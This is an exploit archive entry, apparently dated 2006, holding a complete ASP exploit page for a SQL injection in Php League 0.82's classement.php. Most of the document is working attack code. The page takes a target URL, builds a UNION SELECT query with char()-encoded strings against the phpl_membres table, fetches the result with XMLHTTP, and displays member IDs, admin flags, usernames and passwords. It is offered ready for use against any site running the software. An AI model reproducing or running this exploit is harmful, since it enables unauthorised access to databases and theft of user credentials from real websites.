Php League 0.82 (classement.php) Remote SQL Injection Exploit

🗓️ 29 Oct 2006 00:00:00Reported by RootType
Php League 0.82 Remote SQL Injection Exploit in classement.ph

                                                &lt;% Response.Buffer = True %&gt;
&lt;% On Error Resume Next %&gt;
&lt;% Server.ScriptTimeout = 100 %&gt;

&lt;%
'===============================================================================================
'[Script Name: Php League v0.82 (classement.php) Remote SQL Injection Exploit
'[Coded by   : ajann
'[Author   : ajann
'[Contact    : :(
'[ExploitName: exploit2.asp

'[Note : exploit file name =&gt;exploit2.asp
'[Note : If Wrong Id = &quot;CTYPE html PUBLIC..... see&quot;
'[Using : Write Target and ID after Submit Click
'===============================================================================================

%&gt;

&lt;html&gt;
&lt;title&gt;Php League v0.82 (classement.php) Remote SQL Injection Exploit&lt;/title&gt;
&lt;head&gt;

&lt;script language=&quot;JavaScript&quot;&gt;    
  function functionControl1(){  
        setTimeout(&quot;functionControl2()&quot;,2000);    
     }  
  
  function functionControl2(){  
            if(document.form1.field1.value==&quot;&quot;){  
 
     alert(&quot;[Exploit Failed]=&gt;The Username and Password Didnt Take,Try Again&quot;);
        
                             }  
                        }

  function writetext() {

            if(document.form1.field1.value==&quot;&quot;){
document.getElementById('htmlAlani').innerHTML='&lt;font face=\&quot;Verdana\&quot; size=\&quot;1\&quot; color=\&quot;#008000\&quot;&gt;There is a problem... The Data Didn\'t Take &lt;/font&gt;'

                            }
                 }
  function write(){  
        setTimeout(&quot;writetext()&quot;,1000);    
     }  
  
&lt;/script&gt;


&lt;/head&gt;
&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=windows-1254&quot;&gt;
&lt;body bgcolor=&quot;#000000&quot; link=&quot;#008000&quot; vlink=&quot;#008000&quot; alink=&quot;#008000&quot;&gt;

&lt;center&gt;
&lt;font face=&quot;Verdana&quot; size=&quot;2&quot; color=&quot;#008000&quot;&gt;&lt;b&gt;&lt;a href=&quot;exploit2.asp&quot;&gt;Php League&lt;/b&gt;v0.82 (classement.php) &lt;u&gt;&lt;b&gt;
Remote SQL Injection Exploit&lt;/b&gt;&lt;/u&gt;&lt;/a&gt;&lt;/font&gt;&lt;br&gt;&lt;br&gt;
&lt;table border=&quot;1&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; style=&quot;border-collapse: collapse&quot; width=&quot;35%&quot; id=&quot;AutoNumber1&quot; bordercolorlight=&quot;#808080&quot; bordercolordark=&quot;#008000&quot; bordercolor=&quot;#808080&quot;&gt;
  &lt;tr&gt;
    &lt;td width=&quot;50%&quot; bgcolor=&quot;#808000&quot; onmouseover=&quot;javascript:this.style.background='#808080';&quot; onmouseout=&quot;javascript:this.style.background='#808000';&quot;&gt;
    &lt;font face=&quot;Arial&quot; size=&quot;1&quot;&gt;&lt;b&gt;&lt;font color=&quot;#FFFFFF&quot;&gt;TARGET:&lt;/font&gt;Example:[http://x.com/path]&lt;/b&gt;&lt;/font&gt;&lt;p&gt;
    &lt;b&gt;&lt;font face=&quot;Arial&quot; size=&quot;1&quot; color=&quot;#FFFFFF&quot;&gt;USER ID:&lt;/font&gt;&lt;/b&gt;&lt;font face=&quot;Arial&quot; size=&quot;1&quot;&gt;&lt;b&gt;Example:[User 
    ID=1]&lt;/b&gt;&lt;/font&gt;&lt;/td&gt;
    &lt;td width=&quot;50%&quot;&gt;&lt;center&gt;
&lt;form method=&quot;post&quot; name=&quot;form1&quot; action=&quot;exploit2.asp?islem=get&quot;&gt;
&lt;input type=&quot;text&quot; name=&quot;text1&quot; value=&quot;http://&quot; size=&quot;25&quot; style=&quot;background-color: #808080&quot;&gt;&lt;br&gt;&lt;input type=&quot;text&quot; name=&quot;id&quot; value=&quot;10&quot; size=&quot;25&quot; style=&quot;background-color: #808080&quot;&gt;
&lt;input type=&quot;submit&quot; value=&quot;Get&quot;&gt;&lt;/center&gt;&lt;/td&gt;
  &lt;/tr&gt;

&lt;/table&gt;

&lt;div id=htmlAlani&gt;&lt;/div&gt;

&lt;%
islem = Request.QueryString(&quot;islem&quot;)    
If islem = &quot;hata1&quot; Then 
Response.Write &quot;&lt;font face=&quot;&quot;Verdana&quot;&quot; size=&quot;&quot;1&quot;&quot; color=&quot;&quot;#008000&quot;&quot;&gt;There is a problem! Please complete to the whole spaces&lt;/font&gt;&quot;
End If
If islem = &quot;hata2&quot; Then 
Response.Write &quot;&lt;font face=&quot;&quot;Verdana&quot;&quot; size=&quot;&quot;1&quot;&quot; color=&quot;&quot;#008000&quot;&quot;&gt;There is a problem! Please right character use&lt;/font&gt;&quot;
End If
If islem = &quot;hata3&quot; Then 
Response.Write &quot;&lt;font face=&quot;&quot;Verdana&quot;&quot; size=&quot;&quot;1&quot;&quot; color=&quot;&quot;#008000&quot;&quot;&gt;There is a problem! Add &quot;&quot;http://&quot;&quot;&lt;/font&gt;&quot;
End If
%&gt;

&lt;%  

If islem = &quot;get&quot; Then

string2=&quot;/consult/classement.php?champ='&quot;
string3=&quot;%20union%20select%200,0,concat(char(85),char(115),&quot;
string4=&quot;char(101),char(114),char(73),char(68),char(58),&quot;
string5=&quot;id,char(32),char(65),char(100),char(109)&quot;
string6=&quot;,char(105),char(110),char(63),char(58),admin,char(32),char(85),&quot;
string7=&quot;char(115),char(101),char(114),char(78),char(97),char(109),&quot;
string8=&quot;char(101),char(58),pseudo,char(32),char(80),char(97),char(115),&quot;
string9=&quot;char(115),char(58),char(13),char(10),mot_de_passe)&quot;
string10=&quot;%20from%20phpl_membres%20where&quot;
string11=&quot;%20id%20like%20&quot;
string12=Request.Form(&quot;id&quot;)
string13=&quot;/*&quot;

targettext = Request.Form(&quot;text1&quot;)
arama=InStr(1, targettext, &quot;union&quot; ,1)
arama2=InStr(1, targettext, &quot;http://&quot; ,1)

If targettext=&quot;&quot; Then
Response.Redirect(&quot;exploit2.asp?islem=hata1&quot;)

Else
If arama&gt;0 then 
Response.Redirect(&quot;exploit2.asp?islem=hata2&quot;)

Else
If arama2=0 then 
Response.Redirect(&quot;exploit2.asp?islem=hata3&quot;)

Else
%&gt; 

&lt;%

target1 = targettext+string2+string3+string4+string5+string6+string7+string8+string9+string10+string11+string12+string13

Public Function take(come)
Set objtake = Server.CreateObject(&quot;Microsoft.XMLHTTP&quot; )
With objtake
  .Open &quot;GET&quot; , come, FALSE
  .sEnd
take =  .Responsetext
End With
SET objtake = Nothing
End Function

get_username = take(target1)

getdata=InStr(get_username,&quot;0  0/&quot; )
username=Mid(get_username,getdata+5,90)


%&gt;
&lt;center&gt;
&lt;font face=&quot;Verdana&quot; size=&quot;2&quot; color=&quot;#008000&quot;&gt; &lt;u&gt;&lt;b&gt;
ajann&lt;br&gt;&lt;/b&gt;&lt;/u&gt;&lt;/font&gt;
&lt;table border=&quot;1&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; style=&quot;border-collapse: collapse&quot; width=&quot;35%&quot; id=&quot;AutoNumber1&quot; bordercolorlight=&quot;#808080&quot; bordercolordark=&quot;#008000&quot; bordercolor=&quot;#808080&quot;&gt;
  &lt;tr&gt;
    &lt;td width=&quot;50%&quot; bgcolor=&quot;#808000&quot; onmouseover=&quot;javascript:this.style.background='#808080';&quot; onmouseout=&quot;javascript:this.style.background='#808000';&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
    &lt;b&gt;&lt;font size=&quot;2&quot; face=&quot;Arial&quot;&gt;Data:&lt;/font&gt;&lt;/b&gt;&lt;/td&gt;
    &lt;td width=&quot;80%&quot;&gt;
&amp;nbsp;&lt;b&gt;&lt;font color=&quot;#C0C0C0&quot; size=&quot;2&quot; face=&quot;Verdana&quot;&gt;&lt;%=username%&gt;&lt;/b&gt;&lt;/font&gt;&lt;/p&gt;
 &lt;/td&gt;
  &lt;/tr&gt;
  
&lt;/table&gt;

&lt;form method=&quot;POST&quot; name=&quot;form2&quot; action=&quot;#&quot;&gt;    
&lt;input type=&quot;hidden&quot; name=&quot;field1&quot; size=&quot;20&quot; value=&quot;&lt;%=username%&gt;&quot;&gt;&lt;/p&gt;      
&lt;/form&gt; 

&lt;/center&gt;

&lt;script language=&quot;JavaScript&quot;&gt;
write()
functionControl1()
&lt;/script&gt;

&lt;/body&gt;
&lt;/html&gt;

&lt;%
End If
End If
End If
End If
Set objtake = Nothing 
%&gt;
29 Oct 2006 00:00Current
7.1High risk
Vulners AI Score7.1